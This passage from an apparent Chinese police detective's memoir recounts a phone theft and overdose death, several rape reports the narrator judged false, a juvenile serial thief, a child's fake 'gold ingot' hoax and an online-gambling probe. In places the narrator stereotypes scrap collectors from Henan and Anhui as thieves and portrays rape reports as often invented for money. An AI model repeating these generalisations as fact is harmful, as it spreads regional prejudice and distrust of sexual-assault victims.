个人在，值班人员各忙各的或者回宿舍了，灵机一动，我问报案人，摩托车行驶证复印了没有，他说没有，我说给我，我去楼下复印一下，稍等我一下，复印好就可以了，然后我拿着摩托车行驶证一路小跑赶到一楼，叫来一楼几个值班的辅警上楼，直接将报案人控制，原来他在老家因为与人发生矛盾，将人砍伤后，外出务工，一直用自己名字，但是谎报年龄和户籍地址，以为可以逃脱处罚，等事情过了，再回去，想不到因为摩托车的事情被发现，就这样自投罗网，其实做人不要冲动，打架伤人就更不应该，最不应该的抱有侥幸心理，试图躲避责任。 我在核查涉嫌偷手机的胖子的时候，胖子是青阳本地人，我们叫他嫌疑人小Z吧，其父亲是鞋都辖区一家企业的老板，在外省还有一个铁矿和冶炼厂，小Z属于富二代，但是看他的样子，完全不像我印象中的富二代，看上去很猥琐，只是说自己很有钱，给我看了随身携带的包里的存折，上面还有十几万，说不可能偷手机。我起来很大疑问，就把夜场的负责人叫过来仔细询问，说这个胖子经常来夜场喝酒，很多人都认识他，不过经常是一个人来，在夜场找朋友喝酒，有时一个在那里玩，出手比较小气，我问有没有其他证据或者其他人看见嫌疑人偷手机，夜场负责人说没有，不过他们那装了监控，我就安排小S过去拷贝监控录像，同时把这起案件交给小S主办，很快监控录像拷回来，录像里，胖子缓慢移步到舞台边角，悄悄伸手拿了地上的手机，然后离开。有段这段录像，我们就放心了，直接把胖子拉过来看录像，他马上承认是自己拿了手机，手机已经卖给青阳一家手机店，我们就押着他去手机店，那部手机还没卖出去，就被扣押回来。 这是一起很简单的盗窃案。后来嫌疑人父亲从外省飞回来，原来是我也相识，就是Z总，给嫌疑人办理了取保候审，因为嫌疑人没有前科，还是退伍军人，仅有一次案件，还是本地人，情节轻微，交了两万元取保金后，嫌疑人被取保候审。 后来，我调出鞋都，没再过问这起案件，不过一年后却意外被告知，嫌疑人小Z已经死亡，我惊讶之余，找到嫌疑人父亲Z总，他讲述这样的事情经过： 小Z，是他第一个儿子，闽南人传统观念重，生儿子是很洋气的事情，Z总早年经商，略有继续，加上家底也不过，家庭殷实，小Z是家族长孙，被家里长辈寄予厚望，但是却是宠得不行，从小娇生惯养，读书时也不认真，一直贪玩，顽劣不堪，高中未能毕业，后托人送去当兵，希望部队能够摔打一下小Z，到部队后，刚开始还还可以，新兵连结束后，总是打电话回家，Z总不放心，经常探望，小Z提各种需求，先是留在团部机关里，Z总使出闽南人特有的公关手段，花了很大代价，把部队主官这条关系线路做通，小Z顺利留在团部，之后又找到机会安排小Z就读军校，只要军校一毕业就是见习军官，这样就可以留在部队长期发展，谁知小Z军校就读期间，野性难改，或者说惰性难改，经常不守纪律，屡教不改，学习成绩差，还经常喝酒闹事，妥妥的被劝退，最后无奈复员回家。回家好，Z总托人说媒，安排了一门亲事，对方门当户对，在厦门买了新房，还在厦门开了家外贸公司，结婚后两人搬去厦门居住，没多久，因为小Z野性难改，导致夫妻感情不和，一年后离婚，离婚后女方去了国外。小Z从此就成了脱缰的野马，再无牵绊，脱离的父亲的管束，开始放飞自我，手上又有离婚后分得的数百万现金。长期混迹于夜场，据说开始吸食□□，然后脑袋变得不清醒，身体也快速发胖，成了我见到的胖子，由于长期吸食□□，大脑神经出现问题，内脏器官损坏，那次偷手机事件，其实他脑袋已经不清醒，家里人觉得是神经病了。取保候审以后，被带回家管教了一段时间受不了孤管教，偷偷溜出门，再未回来。后没多久，就接到警方通知，小Z因过量吸食毒品，导致死亡，最后Z总忍痛过去收尸，白发人送黑发人。 整个故事让我唏嘘不已，寄予厚望的长孙却缺失了良好的家庭教育，Z总一直在为儿子创造各种条件，希望能走捷径，不用努力就可以通过拼爹获取成功，甚至违法犯罪后，还想着为他开脱，逃避法律惩罚，并期望他悔改，其实他的做法无异于亲手给儿子挖坑，小Z当兵，如果接受锤炼，锻炼意志，培养能力，而不是处处有人照顾，犯错不用受罚，就不会被送回家；最后性格问题导致生活一团糟的时候，选择放纵，家人却没有及时去挽救；以至于违法犯罪，如果跟其他人一样，犯罪接受惩罚，送去监狱，或许还有最后的转机。但是Z总不舍得自己儿子吃苦，花费精力给儿子办取保候审，还理由充分的跟我们讲，法律归法律，谁都不想自家儿子进去受苦，他的观念里，毫无原则，没有规则概念，不尊重社会规则，法律原则，正是由于他的这种观念，注定就是一个悲剧结尾， 因为工作的原因，我见得最多的人，大部分最缺乏的就是规则意识或者法治意识，觉得自己可以不遵守，可以有特权，关系可以决定一切，旧有的观念支配着他们的行为准则，往往获益颇多，如果当违反规则和法律，就开始利用各种所谓关系能力为自己开脱，然后不改正，下回继续，如果自己权益被侵犯，则是另一番嘴脸。而他们的观念和行为方式深深影响着下一代，我们常说原生家庭问题，其实也是整个社会面对的问题，不是个例，存在普遍现象，这个问题无解，我没有办法解决，如果你把自己的不如意都归咎于这个问题，或者甩锅给这个，那么其实是你自己不努力，你在找借口，然后继续那个循环，变成你不想成为的人，和上一代没有两样。其实你可以做的有很多，靠自己努力，重新建立自己的价值观念体系，而不是活在那个原生家庭问题中不愿意出来。 这个故事告诉我们：1、你自己不努力，谁都帮不了你；2.任何人都不能轻易相信，时刻提醒自己，保管好财物，视频是个好东西；3.珍爱生命，远离毒品。当你开始吸食毒品，死亡离你就很近了。 8. 第 8 章 五、奇葩□□案 鞋都刑侦中队值班，最难忘的莫过于各类□□案，在刑警口口相传中，大概是运气差的人遭遇□□案比较多，过了一段时间，我惊讶的发现，我值班接到□□案概率很高，不仅□□案多，接到各种奇葩的案件也很多。□□属于严重暴力犯罪，侵犯人身权利，一旦定罪刑罚是很重的。当代社会，很多时候，两性关系比较混乱，生活习性，价值观念在物流横流的社会现实面前都扭曲了，产生了很多匪夷所思的事情。在刑警生涯中，就遇到很多让人记忆深刻的案件，但是回想起来，也很有趣。以下列举几起典型代表的： 第一起：2013年某天，我带队值班，出警的兄弟送来一对男女，女看上去很瘦弱，年纪20出头。女子称这名男子在一快捷酒店房间内□□她。说在头天晚上，在某夜场喝多了酒，被这名男子扛到酒店房间□□了，之后男子离开，女子凌晨醒来，发现在酒店被□□，就打电话报警，出现的民警在附近夜宵摊上找到男子将其抓住，并押回单位移交给我们。 我第一次听说□□犯，在犯罪现场附近吃宵夜的。好奇之余，我讯问了一下犯罪嫌疑人，犯罪嫌疑人一直喊冤，称没有□□，双方是自愿发生性关系。这就有意思了。女的说被□□，男子的说两人自愿发生关系，那么可以确定的第一件事情：当晚两人确实发生了性关系，那是否构成□□罪这个要件，还需要更多的证据。 老刑警总是说，犯罪现场是个宝库，为了尽快查明这起□□案，我迅速赶往现场，一家快捷连锁酒店，调取了两人到酒店的监控录像，发现两人一起到的酒店，视频画面中，女子自己走路过来，行为活动正常，并不是她所说的喝醉了被人扛到酒店，但是两人在视频里显得很陌生，我心中产生了很大的问号。 视频中两人没有携带行李物品，视频中，嫌疑人到酒店前台开房，女子就站在一旁几米远的地方等待，快捷酒店的案发现场所在房间因为晚上没有服务员及时清扫，所以还没有清理，我来到房间，房间很正常，没有打斗或者其他破坏的痕迹，两套浴巾及洗漱用品都用过，在垃圾桶内找到两个用过的避孕套，我拿着证物袋，拍照装好。 接着看视频，大约两个多小时过后，男子先离开，酒店楼下有人在等他，他们是约好一起去吃宵夜，不久女子下楼出现在收银台，到收银台跟服务员说了什么，接着就开始争执，争执一段时间后，女子拿起手机打电话，没多久，派出所出警民警抵达现场，听女子讲述后不久，就向收银台服务员了解情况，了解完情况，民警跟女子出门，后来应该带着嫌疑男子一起回到所里，然后移交给我们。 看到视频，我内心已经基本有了脉络，首先，女子在说谎，其次，还有隐情，为了证实我的想法，我向收银台当班服务员询问情况，开房时男子过来登记的，用的现金，房费149，押金400，当时没有登记女子的身份证，然后他们就上楼了，到了凌晨，女子过来，拿着押金单要退房，因为不是女子登记的房间，所以酒店前台拒绝退，要求男子过来退，女子就开始发脾气，但是收银员坚持要男子过来才能退，后来女子问能退多少，收银员告诉他，能退251，女子就走开了，然后在那边打110报警。 被人□□，还有心思过来退房索要押金，完全不符合逻辑，□□基本上可以排除，剩下的事情就是查明真相了。看完监控，我们回到所里，嫌疑男子的朋友过来询问情况，我就问他，嫌疑男子跟那名女子什么关系，对方回答我，没有关系，今天第一次见到，晚上他们在夜场玩，之后，嫌疑男子带这名女子来开房，之后还打电话来约吃宵夜，我就去酒店楼下等他一起，我们在吃宵夜的地方正喝酒，警察过来把人带走，所以赶紧过来询问情况。 听完叙述，我到讯问室，讯问嫌疑男子，我直接就一句话，说实话吧，是否认识那名女子，她叫什么名字，男子根本答出来，我很严肃跟他说，已经发生性关系，现场提取的避孕套物证在，现在女子指证，涉嫌□□罪，送看守所没有任何问题。嫌疑男子慌了手脚，马上说了实话，原来当晚，男子跟朋友在夜场喝酒，遇到这名女子，原来女子是失足妇女，两人谈好价钱，嫖宿一晚500元，两人就从夜场来到快捷酒店，两人发生性关系，两次，之后男子觉得肚子很饿，就约朋友吃宵夜，走的时候给了女子两百元现金，跟女子说，房间押金还有三百元，女子走的时候自己去退押金，然后就离开去吃宵夜了，原来改酒店会员第一次入住是99，但是酒店方面表示，男子不是第一次入住，当晚没有问清楚房价就直接登记了，后来酒店按照规定，没有退给她押金，女子可能以为男子想少付嫖资，直接选择报警。 有了男子的口供，我们再次询问报案女子，通过视频告诉她在说谎，报□□假警是要受刑事处罚，女子最后见事情败露，承认□□的事实，当晚确实太激动，以为遭遇了骗子，听同行姐妹说过，遇到类似的事情，就跟当事人说不给钱就告□□，所以她选择了报警。 至此，本案事情已经查清，主要证据已经获取，案件移交社区民警处理，按照治安管理处罚法，两人处行政拘留15天并处罚金。 第二起：上一起案件后不久，某天值班，快天亮时，辖区李村送来一对男女，女子长得颇有姿色，身材高挑，前凸后翘的，一身很浓的香水，以来就哭诉，女子系李村一夜场公主，晚上在包厢喝酒从事陪侍服务，喝了很多，去卫生间时，有一名同包厢男子闯进去，将其□□。当晚在夜场哭闹了很久，夜场负责人、那名嫌疑人男子的朋友等人没能给个交代处理好此事，所以报警。 因为一夜基本没睡，头昏脑胀，初一听，按照经验判断，以为又是嫖资纠纷引起的□□警情，这类警情非常常见，每个月总有那么一两起，已经见多不怪了，通过只要当事人报警称被□□，慎重起见，都会将案件移交给刑侦值班组审查处理，如果不是再退回转移交给社区民警处理。 □□案是极具争议和陷进的案件，之前有出现女子勾引男子发生性关系后，索要财物或者其他利益，否则告□□的案件，有当事人不同意，结果真被告□□，性关系已经发生，报警人还有伤情，甚至还有其他证据，然后就被送进看守所，之后就出现男子家属与女子和解，女子谅解，要求撤案，男子得以取保候审。事后得知女子收了男子家属大额的补偿金，这不是特例。还有就是男女发生性关系后，家人是反对二人继续交往的，为了面子或者其他原因，会带着女子报警□□，若果是未成年少女，基本上男子得接受刑罚，监狱风云演几年，就算是成年人，当时特殊的背景环境下，只要性关系已经发生，女子一方报案，为了查清案情，涉嫌肯定是跑不掉的，很多时候平息事态，或者为了争取事件查清案件，往往先把男子刑拘，如果检察院不爬批准逮捕，再放人，□□犯在看守所等监所是最不受人待见的，待遇很差，可想而知，日子很难熬。所以说，色字头上一把刀，不要为了一时之欢，惹下大麻烦。 经验是，每次遇到类似报警，都要慎重，仔细认真，即不能放过一个坏人，也不要冤枉好人，但是我内心深处来讲，只要是被报□□的，既然选择耍流氓就不是好人。 不过因为职责所在，法律是很严肃的，为了保证公平正义，我们必须认真调查处理，给当事人一个交代。这次我在仔细询问报警人的时候，发现报警人有很多细节含糊其辞，说不清楚，比如，一开始说被嫌疑人男子强行带进卫生间实施□□，后来又改开说男子闯进卫生间，还有就是，关于□□的细节，不愿意回答和描述，这些必须说清楚，先是说男子□□她，但是如何□□，体位，现场位置，后来又说男子用手摸其□□，说着说这就不肯说了，理由是喝多了不记得。在我看来，还是有隐情不想说，那个时候，双方都已经很清醒，语言表达正常。 男子则很淡定，一直坚定的说自己冤枉，没有□□她，甚至都么有碰过她，那女子神经病，一直说他□□她。这就是为什么在夜场没有解决问题的原因。因为现场没有摄像头，没有办法还原，只能找在场的人员进行询问和判断，但是当晚包厢里喝酒的人，大部分都已经回家睡觉了，只能白天下午一个一个询问。因为这时已经是上午上班时间，为了查清事实，根据报案女子所说，男子有摸其□□，我们将男女带到刑侦大队法医室，做活体检查，同时检测男子手指甲残留物，最后通过检测，男子的手上和生殖器官上没有留下任何女子身上的物质，而女子体内也未检测到任何来自男子身上的物质。 首先从科学上证实了男子没有说谎，那么问题就出在女子身上，后来到了下午，我们陆续找到当场在的证人，经过询问，还原当晚情况，当晚在那个夜场包厢里喝酒，有叫几个陪侍的，也有“公主”，那名公主很拼命，也来喝酒，喝着就有点多，去卫生间了，但是先是去吐，所以没有锁门，吐完就在卫生间方便，嫌疑男子也喝多了去卫生间方便，直接就推门进去了，女子以为男子要过来干什么，就蹲缩在卫生间角落里不敢动，男子看到女子蹲在地上，本能的去扶她，结果女子收到惊吓，就喊男子□□，男子赶紧离开，现场的人证人证实男子在卫生间呆了不到五分钟，就出来了，然后几听到女子呼喊声和哭声，女子哭哭啼啼的从卫生间出来。 我们最后再去询问女子，女子又改口称，当时在卫生间，有个男人进来，她害怕，就认为那名男子要过来强行发生性关系，因为喝多了，担心无力反抗，她就蹲在角落里，大哭大喊，说男子□□她，这下好，惊动了所有人，她觉得被人欺负了，要求男子给个说话，最后就报警了。 这完全是一起无中生有的案件，最后这起案件就移交给社区民警处理了，我也没管后续。 第三起，还是在晚上值班，有人报警□□，我们询问情况，结果报警人告诉我，她不是当事人，当事人是她妹妹，在辖区一个小学里当老师，平时也是住在学校里，她妹妹被人□□，嫌疑人还在学校她妹妹住的地方，这是怎么回事？ 我们继续询问报警人，报□□现在改口了，她称她妹妹被性侵，听到性侵这个名词的时候，我有点发懵，脑袋里第一个反应是，刑法里有没有性侵这个罪名，第二是治安管理处罚法里有没有性侵，好像都没有，长期的办理刑事案件形成的惯性思维方式，让我瞬间无所适从，而报警人一直要求民警出警抓人，当时110的警情，都是由派出所负责接处警的民警出警的，但是当天，警情多，出警的忙不过来，涉及刑事警情，指挥中心催赶快出警，所以警情就转到我这里，没有办法，向值班领导报告，因为报警人一直强调嫌疑人在现场，要求我们到现场抓人，这种警情无法判断真伪，一般处理的方式是宁可信其有，不可信其无，只能当是真实案件处理，迅速组织人手，带上装备，一行六人，开车出发。 因无法预料现场的情况，当事人描述是否真实，嫌疑人的情况一无所知，对象年轻，身份，身体条件、实际人数，持械情况，暴力程度，武力等级，所处位置信息情况都没有，那个时候我已经是老刑警了，经历过数百次的抓捕行动，遭遇过各种危险，但是这种遭遇战还是第一次遇到，内心有点发虚，神经不由得绷的很紧，只知道对象是一名男性，报警的是一名女性，会不会是个警情陷阱，恐怖分子想要抢夺我们的警械武器，又或者是不是某个无聊的人报警玩，再或者是个警情测试，不管怎么样，安全意识掌握在自己手里，就算刀山火海，九死一生甚至一去不回，也要去，职责所在，毫无退路，只能靠自身多年经验和训练养成的素质来应付了。 很快我们车到了小学教师宿舍楼楼下，询问学校保安，保安称没有异常情况发生，接着与报警人联系，告诉我在四楼，我们楼下留两个人留守和支援，四个人就上楼了，到了四楼房间，敲门，开门的是一位年轻女性，神情看上去有些胆怯，我出示证件，结果她看了很久，还再次打110确认，才让我进房间，这时学校分配给教师居住的宿舍，两室一厅，客厅里，两个女子自称是亲姐妹，姐姐告诉我，妹妹被一个男子性侵了，现在那个男子在里面房间，我们迅速撞开房门，一名男子坐在电脑前正在聚精会神的玩游戏，一脸惊愕的看着我们，我们根本没有跟他多说话，直接说警察，配合我们工作，然后就上前，一个标准上手铐的动作，双手背铐，然后押到车上。当时学校还是有老师在，有老师就问我们发生了什么事，这个小伙子犯了什么事，我也没有回答。让所里再派台车把那对姐妹接回去。 到了所里，详细询问那对姐妹，姐姐跟我说，她妹妹被那名男子殴打并发生过性关系，是不是性侵，我则问她，那名男子跟她妹妹什么关系，但是闭口不回答，看样子是打算让我猜。 再问妹妹，是否跟这名男子发生过性关系，妹妹回答说跟这名男子在半年内发生过多次性关系，包括这名男子的家里还有自己的家里，但是都不是自愿的。我问她，跟这名男子什么关系，回答是就是认识而已。 问一脸懵逼的嫌疑男子，有没有强行发生性关系，他说没有，两人是男女朋友，已经一年多了，都到对方家里见过家长了，逢年过节都到对方家里去。绝对是误会。 为了查明事情真相，一方面跟当事人，详细沟通，询问细节，另一方面，派人到现场去了解情况。在现场，我们找到了嫌疑男子的行李，还有个人物品，周边的人也没有异常情况报告，只是反映这名男子经常来，有时候在这里过夜，好像是被害人的男朋友，不过两人关系并不好，经常吵架。 我们只好坐下来跟这对报警的姐妹好好沟通了，事情大概是这样的：妹妹为小学老师，学校分了一套小宿舍给妹妹居住，妹妹在网上认识了这名男子，后来发展为男女朋友，双方父母都见了，就差谈婚论嫁了，但是时间久了，就发现男子性格不好，有暴力倾向，易怒暴躁，有打砸东西，还动手打过妹妹，妹妹想跟他分手，但是男子不同意，平时男子经常来学校看妹妹，有时会留住在妹妹宿舍，还留有妹妹宿舍的钥匙，当晚妹妹不想见那名男子，但是妹妹性格柔弱，不知道怎么应对，男子用钥匙开门进到小套房，妹妹躲在房间，男子用力砸门，导致房门部分破损，之后两人挣扎，男子又动手打了妹妹，之后男子进房间玩游戏，妹妹打电话叫来姐姐帮忙处理，结果姐姐直接打电话报警，称被□□，原因是，当晚被男子殴打，此前两人曾发生过性关系，当晚被打也属于“性侵”，原来姐姐喜欢看电影电视剧，不能怪她，每个人的认知能力和范畴不同，对同一事物的理解也不同，只能是我脑袋比较笨拙，转得比较慢。 此事查清后，因男子涉嫌损坏公私财物（教师宿舍产权是学校）、殴打他人被移送片警，办理治安拘留，最后执行拘留20天。最后我开车送这对姐妹回到学校，此事了结。我已经无力吐槽。 六，特殊的未成年人 我们的刑法规定，最低刑事责任年龄，一般案件是16周岁，特殊案件是14周岁；治安案件则是16周岁；国家对未成年的保护可以说是无微不至，在我看来，就是纵容，培养一下代犯罪分子。在实际工作中，遭遇很多让你大跌眼镜的涉及未成年的案件。 （一）惯偷 为了遵守未成年人保护法，惯偷的名字略去，用Y代理。Y是重庆人，从小随父母来晋务工，后父母离异，无人看管，流落社会，12岁左右就自己逃学，被父亲打后离家出走，学习了很多江湖上的东西和技能，平时居无定所，经常栖身在网吧。因为没有经济来源，他去偷东西，结果没有多久，就被查出来了，但是公安机关很快将他放了，那次以后，他专门学习了相关法条，他如同发现了新大陆，人生开启了另一扇门，地狱之门。 我第一次见到他的时候，刚满15周岁，他是一起盗窃案件的嫌疑人，通过指纹比对发现的，很快，在一家黑网吧，我们抓获了用Y，他当时正在玩游戏。那年Y身高1米7左右，很瘦，头发较长，衣服很久没换了，身上散发出一种酸味，脸上脏脏的，电脑桌前是他吃完还没有来得及扔的泡面纸碗，抓到他时，他玩游戏玩得正嗨，对于我们完全不耐烦，似乎对我们流程很熟悉。 回到审讯室，我们得知，这不是他第一次被抓了，他很爽快的承认了案件，还交代了十多起我们么有掌握的盗窃案件，所获财物全部用于日常开销，吃喝玩，他当时没有经济来源，也没有读书，没钱就去偷，然后去网吧玩，几天几夜，因为审讯未成年人要父母在场或者见证人，当时受我们邀请来的见证人，也被他的交代震惊了，还是个半大孩子。而Y却满不在乎，总是跟我们提要求，似乎在做生意，讨价还价，所有的案件，似乎是他的丰功伟绩。 最后辨认完现场，因为未满16周岁，不构成盗窃罪，我们放人，临走时我问他还会不会去偷，他回答我，他还可以偷几个月。法律比我还熟。我们只好每隔一段时间就去把他抓来破案，他也不躲避，抓回来就主动交代，只要食堂的饭菜按时给他，他配合得很好。 后来，我最后一次见他 ，是在审讯室，当时我在审讯其他案件嫌疑人，他被其他组抓了，因为案发时间刚好过了他16岁生日，长期盗窃为生，他已经停不下来了，涉案30余起，那次检察院法院最后认定其构成盗窃罪，顺利被关进监狱，要是没有大幅度减刑，他应该还在生活在监狱里。 （二）被变卖的传家宝 2012年，有一晚我带队值班，一位家长带着一位九岁的小朋友来报案，称其儿子被人欺骗，把奶奶传下来传家宝一对金元宝，价值至少数万元，以极低的价格卖给了收破烂的。他把儿子带来报案，请求公安机关帮忙处理追回被骗财物。 这个小朋友，当时九岁，身高较矮，似乎营养不良，穿着校服，在当地一所外来工子弟学校上学，我看着他，他的眼神飘忽不定，这种眼神似曾相识，他父亲说他很害怕，因为要挨打，但是我看得出来，那小朋友完全不是害怕的表情，我当着他父亲问他话，他是很镇定自若的回答我，我当时没有多想，小朋友讲起了事情经过。 这位九岁的小朋友，我们叫他小六吧，小六告诉我，下午时候，他放学回家，家人都在工厂没有回来，他在就家里做作业，这是外来来了一个收废品的男人，他跟小小六说，家里有没有什么东西都拿出来卖的，可以高价收购，小六自称没有，男人就进到房间里，跟男孩攀谈起来，得知家里没有大人，就走了。男孩知道爸爸放了两个金元宝，就翻出来看，那个男子不知道什么时候又返回，还看到了金元宝，之后男人走了，给了小六20元钱。小六继续做作业。爸爸回来后，发现家里被人翻动过，家里祖传的金元宝不见了，总共有两个，于是就问小六，小六说有个男子来过，可能是他拿走的，爸爸问小六，认识这个男子吗，小六说是家里巷子口路边的收废品的，爸爸知道小六讲的事情后，就带着小六来报警了。 据小六爸爸反映，金元宝跟电视里的很类似，金子做的，一个大约一两重，是小六奶奶给的，说是祖上传下来的传家宝，前段时间回老家才拿过来的，时间不长，想不到被人拿走了，价值至少几万元。 我就很好奇了，就问小六爸爸老家哪里的，祖上做什么的，小六爸爸不高兴了，报个案还问七问八的，是不是不相信家里有这么多钱，我说就是问问，他反倒呛我，警察有案子不查，有坏人不去抓，在这问东问西，调查报案的人，他要去投诉我。经常遇到这种不理解的人，也是头疼，我解释半天，说案件问清楚，才好侦查，特别是物品要清楚年代，外观，还有实际价值，小六爸爸回答不上来，才作罢，不然也扯不清楚。 根绝小六提供的信息，那名收废品的男子是比较熟的人，住的离得不远，是那种路边自己搭建的棚户，一般有个很大的院子，堆满了各种废品，晋江制造业发达，这类收各种废品的也多，大多来自河南和安徽两个省份，而且经常聚集而居，找一块空地，自己搭建的，老乡们很快就聚集成一片，他们骑着三轮车或者摩托车到处收废品，收回来的各种废品就分类打包，用蛇皮袋撞着，堆在空地里，堆成小山，这些废品回收站，都是违章建筑，安全性差，收购回来的废品，污染大，各种味道，卫生条件差；经常住着十几户甚至几十户，聚在一起，人数甚至上百人，说是去收废品，大部分都是捡，被人看到就收，没人看到就顺走，偷鸡摸狗的，经常惹纠纷，矛盾；因为消防隐患大，经常出各种火灾事故，鞋服废料属于易燃品，燃烧后释放大量的有毒烟气，一旦着火，根本没有消防措施，成片的肥料，烧起来场面不堪设想，曾经多起事故导致人员死亡，为了肃清安全隐患，当地政府经常组织清理，但是总没有办法完全清理干净。对于公安机关来说，那种扎堆的看上去像电影里非洲的难民营或者经常看见的贫民窟，也是藏污纳垢之地，各种案件高发，人员流动性大，成分复杂，几乎都是失控脱管状态。清网行动那年，我根据线索，在上百家的“废品堆站”中排查，抓到一个跑了23年的系列抢劫杀人案的逃犯。这种贫民窟式的聚集性废品站，几乎每个村都有，是社区民警的心头大患。 我一开始就对废品收购站的人就没有好感，社区民警的时候，管村废品站发生过多次火灾，每次我都是胆战心惊，好在没有人员伤亡。到刑警后，经常去抓人，对他们印象就更差。 很快我们就找到了废品收购站的老板，小六辨认后说就是骗走金元宝的嫌疑人，为了尽快获取我们想要的相关证据材料，和嫌疑人口供，因为有了被害人辨认指认，我们加强了对嫌疑人的审讯，希望早点突破，毕竟从案值这是一个比较大的案件。但是嫌疑人的表现也是让我们大惊失色，各种狡辩，坚称自己么有做违法的事情，并自称整个下午都没有出去过，经过两个多小时的突击审讯，嫌疑人始终没有改口，但是说的很有道理，我开始回忆小六和小六爸爸的叙述，感觉漏洞很多，作为一个务工家庭，如此贵重物品，来源和保管手段本身就是存在疑问的，我在他家现场看，其实翻动的东西很少，明显就是直接拿的。还有废品收购站，有视频监控，我们就将视频拷回来看，视频录像证明当天下午，嫌疑人并没有出门，相反，视频中我惊奇的发现 ，小六自己到的废品收购站，我问嫌疑人，这个小孩去干嘛，嫌疑人说，小孩拿了两个黄铜制物品来卖，称重后，给了小孩20块。我忙问物品在哪里，嫌疑人回答，在房间里的桌子上，他觉得好玩，就放那了，我们赶紧过去取，拿到物品后，问小六爸爸传家宝是不是这个，小六爸爸连忙点头，说是小六奶奶拿给他的传家宝，古董金元宝，所谓的金元宝见下图： 嫌疑人拿出这个所谓的“传家宝”时，我和其他民警都笑出声来，这是常见的“金佛、金元宝”诈骗案（一种老掉牙的诈骗手段，想了解具体手段可以百度，案例超多）的道具，一般是黄铜做的，有的就是铜铁合金，骗子用这个冒充古董，专骗不懂的又贪心的老实人、老人、妇女，每次也不多几千元几百元都有，我妈就被骗过两次。这个道具我看到摆摊的在卖，10元两个，废品店老板20块收的属于赔了，我们一群人忙活了四五个小时，源自一个被骗了不知道有没有发觉的老太太，还有一个九岁就敢跟警察撒谎的小屁孩。 我们跟废品店老板道歉，他把两个传家宝还给了小六父子，而且也没有要回二十块，说是送给他了，然后就走了。我们没给小六爸爸过多的解释，直接给他看了视频，让他回去好好管一下小六，找个速度发展，很快就可能要成为我们打击对象了。后来得知，小六知道奶奶给爸爸值钱的东西，然后天天上学路口废品收购站，就从家里拿了父亲的“传家宝”去卖钱，然后去买吃的玩的，事实上，小六爸爸回来的时候，小六已经把二十块钱花光了，小六爸爸发现“传家宝”失踪，小六害怕挨揍，小六就编了一个故事嫁祸于人。这一家三代人，真实验证了那句俗语：不是一家人，不进一家门。 此事件我感悟颇多： 1、什么人都已经不能相信了，不能再相信小孩了，社会变化，小朋友也融进了成年人的世界，充满了尔虞我诈，变得不再单纯； 2、家庭是人生重要的教堂，家庭教育非常重要，一个熊孩子往往背后是多个熊家长； 3、防诈骗，每个人都要去了解一下诈骗，多学习防诈骗知识。家中的老少妇孺要多关注，要经常的提醒，不能贪便宜，不要贪心，只要不起贪念，骗子也无计可施。特别是老人家，爱虚荣、贪便宜、死要面子，是被诈骗高危人群，有些老人家就算被骗了，还死不承认，这种最可拍。 七、诈骗案与赌场案 2017年，我调回九江市公安局工作，分到刑侦支队，一天班没上，被安排到基层锻炼，于是开始了最后一年的刑侦生涯。江西公安的经费保障较差，经常要靠罚没款收入的返点来维持，就是说，上交给财政一个亿的罚没款，财政拨上交单位总款项70%返点，7000万，作为预算外资金使用，有的地上甚至罚没款作为预算内收入，列入考核任务清单。所以，为了保障经费，各单位基本上就有专案组，负责完成罚没款任务，抓赌博是最常见的方式。 我在刑侦系统，我有机会参加扫黄打非专案组，参与侦破的最后一个案件是赌博网站的案子，破这种案件，即打击犯罪，又获得罚没款收入，一举两得。 2018年1月，我正式加入专案组，专案组一个主要工作就是收集整理各种涉及赌博网站或网络赌博的案件线索，然后开展调查取证工作，条件成熟，就收网。在菲律宾有个杀猪盘，全是中国人在经营，专门开各种赌博的盘口杀中国人，赚中国人钱，赌博是门古老的营生，中国有记录的历史可以追踪到春秋时期，开赌场包赚不赔的，因为利润巨大，在某些朝代都是官方特许经营或者官方直接经营。但是赌博就是利用人性的弱点，贪婪，设下陷阱引人入套，然后压榨，榨干了为止，简直就是喝人血。还因为赌博，会带来一些列的治安问题、容易形成连锁反应，导致社会问题，例如高利贷、偷抢催债、影响正常生产生活，赌博就是个严重的毒瘤，在当今世界很多国家都是法律禁止的。在我国现行法律体系中，也是被严格禁止的，并且是写入治安管理处罚法和刑法，而且刑罚很重。 过去说开赌场或者赌博，一般是十赌九诈，进入网络时代后，就成了十赌十诈，全部是骗局，使用各种手段引你入局，只要进去了，基本上就是割肉出来，后果极为严重，甚至有人因迷恋赌博，导致败光家财万贯，最后身陷囹圄，走上天台。过去，赌场就有个固定的点，参赌人员都要去现场，携带现金或者筹码，有固定的地理地点，警方只要周密部署，打击起来还是比较容易的，把地方一包围，就可以搞定。后来这帮人从网络电信诈骗转行开赌场，试图逃避打击，增加收益，由于在网络开设赌博网站，而且都是在境外，通过境内发展参赌人员这种境内外合作的模式，手段隐蔽，打击难度更大。对于我国警方来说，技术角度讲，打击网络赌博与打击网络电信诈骗没有差异，从性质上来说，都是违反刑法，社会危害大，只不过诈骗危害所有人，赌博危害人群范围小一点，社会危害其实不小。现状是网络电信诈骗这种高压打击态势，诈骗都层出不穷，参与人数和规模一直增加，手段翻新；而网络赌博，则由于打击力度较小，近些年来呈几何式的野蛮增长，甚至很多原来从事网络电信诈骗的团伙也开始转行做网络赌博，继续危害社会，菲律宾等国出现上万人规模杀猪盘从业人员和产业链就是血证。 打击网络赌博，这场战役才刚刚开始。我进入专案组，开始整理警情信息，调来当时各基层单位接到的多起报警，涉及多个网络赌博，其中有一个是这样的，辖区一家美发店老板，我们称他李老板，因沉迷于赌博网站，将所有积蓄全部输光后，为了扳本借了几十万的外债，全部输光后，被债主逼得走投无路的他选择了报案，希望警方打击赌博网站追回损失，一开始他也没有说实话，就报案称被诈骗，接警的民警，仔细一调查发现是参与网络赌博，李老板声泪俱下讲述了事情经过：大约半年前，一个经常去他店里的顾客，向他推荐了一个□□群，群里玩一个叫“北京赛车”的时时彩游戏，首先要在一个网站上充会员，刚开始充的时候，还充100送了100元的，给网站管理员指定的账户充钱，就可以完成充值。具体玩法就是根据时时彩下注号码，有多种押注形式，在聊天群内通过群管理员下注，管理员后台记账的方式扣除或者打奖金到开的会员账号上，时时彩每十分钟开一次，也就是开彩钱都可以押，最低十元，没有上限。刚开始的时候，他玩得小，他就每次10元20元的下，有输有赢，第一天下来，还赢了几百元。不过这个群玩了不久就解散，管理员私下加了李老板的□□，把新群发给他，或者直接拉他进群，每隔几天就换，李老板也习惯了，每天玩几把，但是后来就开始上瘾了，虽然每天就上去玩一下，不是每把都下，有时候就看看群里人聊天，然后看到群里其他人也在下，有人一次赢了几万元，在群里发红包，让他分外眼红，逐渐，他就开始加大下注，刚开始还能输赢相当，等他下注越来越大时，有时候一次下 